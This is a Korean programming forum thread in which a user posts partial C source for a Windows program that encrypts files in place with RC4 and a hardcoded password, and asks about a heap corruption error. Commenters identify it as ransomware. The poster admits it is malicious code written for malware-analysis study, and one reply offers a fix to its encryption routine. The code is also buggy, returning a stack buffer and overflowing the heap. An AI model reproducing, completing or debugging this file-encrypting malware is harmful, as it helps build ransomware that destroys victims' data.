C언어 HEAP CORRUPTION DETECTED 오류 와 프로그램 오류문제

JNAA의 이미지

컴퓨터를? 암호화하는 프로그램을 작성하고 있습니다.
아래는 작성한 코드의 일부입니다.

#define    MY_PASS    "password"
#define MAX_LEN 256
#define WIN32_LEAN_AND_MEAN
 
struct _finddata_t fd;
 
const char* Encode(char* pszCode) { //파일의 내용을 담고있는 버퍼가 전달된다. 
 
	HCRYPTPROV hProv;
	HCRYPTHASH hHash;
	HCRYPTKEY hKey;
	BYTE pbCode[MAX_LEN];
	DWORD dwDataLen;
 
	ZeroMemory(pbCode, MAX_LEN);
	strcpy((char*)pbCode, pszCode);
 
	dwDataLen = (DWORD)strlen((char*)pbCode) + 1;
 
	//CSP 핸들 얻기
	if (CryptAcquireContext(&hProv, NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, 0) == TRUE) {
		//해쉬 생성
		if (CryptCreateHash(hProv, CALG_SHA, 0, 0, &hHash) == TRUE) {
			//해쉬 값 계산
			if (CryptHashData(hHash, (BYTE*)MY_PASS, (DWORD)strlen(MY_PASS), 0) == TRUE) {
				//키 생성
				if (CryptDeriveKey(hProv, CALG_RC4, hHash, 0x00800000, &hKey) == TRUE) {
					//암호화
					if (CryptEncrypt(hKey, 0, TRUE, 0, pbCode, &dwDataLen, MAX_LEN) == TRUE) {
						pszCode = (char*)pbCode;
						return pszCode; //암호화 된 값 전달
					}
					else {
						printf("암호화 실패\n");
					}
					//디버그 로그 암호화 실패
				}
				else {
					printf(" 키 생성 실패\n");
					hKey = 6926504;
				}
				//디버그 로그 키 생성 실패
			}
			else {
				printf("해쉬 값 계산 실패\n");
				hHash = 6926120;
			}
			//디버그 로그 해쉬 값 계산 실패
		}
		else {
			printf("해쉬 생성 실패\n");
			hProv = 6853552;
		}//디버그 로그 해쉬 생성 실패
	}
	else {// 유저용 키 컨테이너 만들기
		if (!CryptAcquireContext(&hProv, NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_NEWKEYSET)) {
			printf("유저 키 생성실패");
			goto ONE;
		}
	}
	//해쉬 삭제
	CryptDestroyHash(hHash);
	//CSP 핸들 풀어주기
	CryptReleaseContext(hProv, 0);
 
ONE:
	return 0;
 
}
// 파일 입출력을 담당할 함수
void File_In_Out(char* Path, int size) { // 파일의 경로와 파일의 크기를 인자로 받음 ,, D:TEST\test1.txt
 
	HANDLE fp; //핸들
	DWORD readn;
	BOOL brtv; //반환값 제대로인지 확인
	char buf[MAX_LEN];
 
	char* buffer; //malloc 함수로 할당받을 버퍼
 
	//LPCWSTR(Path)
 
	if (size > 100000000) {
		printf("파일 크기가 너무큽니다 이 파일은 건너뜀\n");
		goto TWO;
	}
 
	fp = CreateFile(Path, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	if (fp == INVALID_HANDLE_VALUE) {
		printf("File Open Error (%d) : %s\n", GetLastError(), Path);
		goto ONE;
	}
 
	buffer = (char*)malloc(size + 256); //파일크기 + 256만큼 동적 메모리 할당
	memset(buffer, 0, size + 256); // 파일크기 + 256 바이트 만큼 메모리를 0으로 초기화
 
	while (1) { //파일을 다 읽을때 까지 반복
		memset((void*)buf, 0x00, MAX_LEN); // buf에 읽은 데이터를 넣어야해서 메모리 초기화 작업
		brtv = ReadFile(fp, buf, MAX_LEN - 1, &readn, NULL);
		if (brtv && readn == 0) {
			break;
		}
		strcat(buffer, Encode(buf)); //buffer에 buf 값 추가
		}
 
	if (SetFilePointer(fp, 0, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER) {
		printf("SetFilePointer Error : %d\n", GetLastError());
	}
 
	if (WriteFile(fp, buffer, size + 256, &readn, NULL) == FALSE) {
		printf("WriteFile 실패, ErrorCode : %d", GetLastError());
	}
	CloseHandle(fp);
	free(buffer);
	Change_Name(Path);
 
ONE:
	CloseHandle(fp);
 
TWO:
	return;
}

작성한 코드를 실행시켜보면 HEAP CORRUPTION DETECTED 오류가 납니다
해당 에러를 무시하면 계속 실행은 되는데 중간에 아무런 에러코드없이 멈춰버리네요..

HEAP CORRUPTION DETECTED 오류를 찾아보니 " malloc이나 new로 할당한 메모리의 영역보다 더 큰 영역에 접근하고자 했기 때문에 나타난다" 라고 나와있어

	buffer = (char*)malloc(size + 256); //파일크기 + 256만큼 동적 메모리 할당
	memset(buffer, 0, size + 256); // 파일크기 + 256 바이트 만큼 메모리를 0으로 초기화

해당 부분의 코드를 아래처럼 변경해보았는데도 여전히 오류가 발생합니다.. 어떻게 해야할까요??

	buffer = (char*)malloc(size * 2); //파일크기 + 256만큼 동적 메모리 할당
	memset(buffer, 0, size * 2); // 파일크기 + 256 바이트 만큼 메모리를 0으로 초기화

++) 추가적으로 질문드립니다
해당 오류를 무시하면 암호화는 계속 진행이 되는데 갑자기 프로그램이 중간에 멈춰버립니다. 아무런 에러코드 없이 멈춰서 도대체 무슨 문제인지 모르겠는데 혹시 위의 오류와 연관이있을까요?

익명 사용자의 이미지

에러는 둘째치고, 위험천만한 코드인데요.

C:\부터 시작해서 모든 파일을 In-place로 암호화하는 건가요?!

Anti-Lock의 이미지

시작위치 까지 지정되어 있는..
코드 의도?가 불순해 보이네요.
랜섬웨어??

JNAA의 이미지

순수한? 공부목적으로 개발중인 (악성)코드입니다..
악코분 공부를 하면서 직접 개발 후 분석하기 위한 목적으로 개발중이었습니다!! ㅎㅎ

라스코니의 이미지

Encode() 함수에서 pszCode = (char*)pbCode; 는 의미없는 코드입니다. 아마 memcpy(), strcpy() 등으로 복사를 해야 할 것 같네요.

JNAA의 이미지

아 그렇군요! 수정해보겠습니다 감사합니다

댓글 달기

Filtered HTML

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

BBCode

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param>
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

Textile

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • You can use Textile markup to format text.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Markdown

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • Quick Tips:
    • Two or more spaces at a line's end = Line break
    • Double returns = Paragraph
    • *Single asterisks* or _single underscores_ = Emphasis
    • **Double** or __double__ = Strong
    • This is [a link](http://the.link.example.com "The optional title text")
    For complete details on the Markdown syntax, see the Markdown documentation and Markdown Extra documentation for tables, footnotes, and more.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Plain text

  • HTML 태그를 사용할 수 없습니다.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 줄과 단락은 자동으로 분리됩니다.
댓글 첨부 파일
이 댓글에 이미지나 파일을 업로드 합니다.
파일 크기는 8 MB보다 작아야 합니다.
허용할 파일 형식: txt pdf doc xls gif jpg jpeg mp3 png rar zip.
CAPTCHA
이것은 자동으로 스팸을 올리는 것을 막기 위해서 제공됩니다.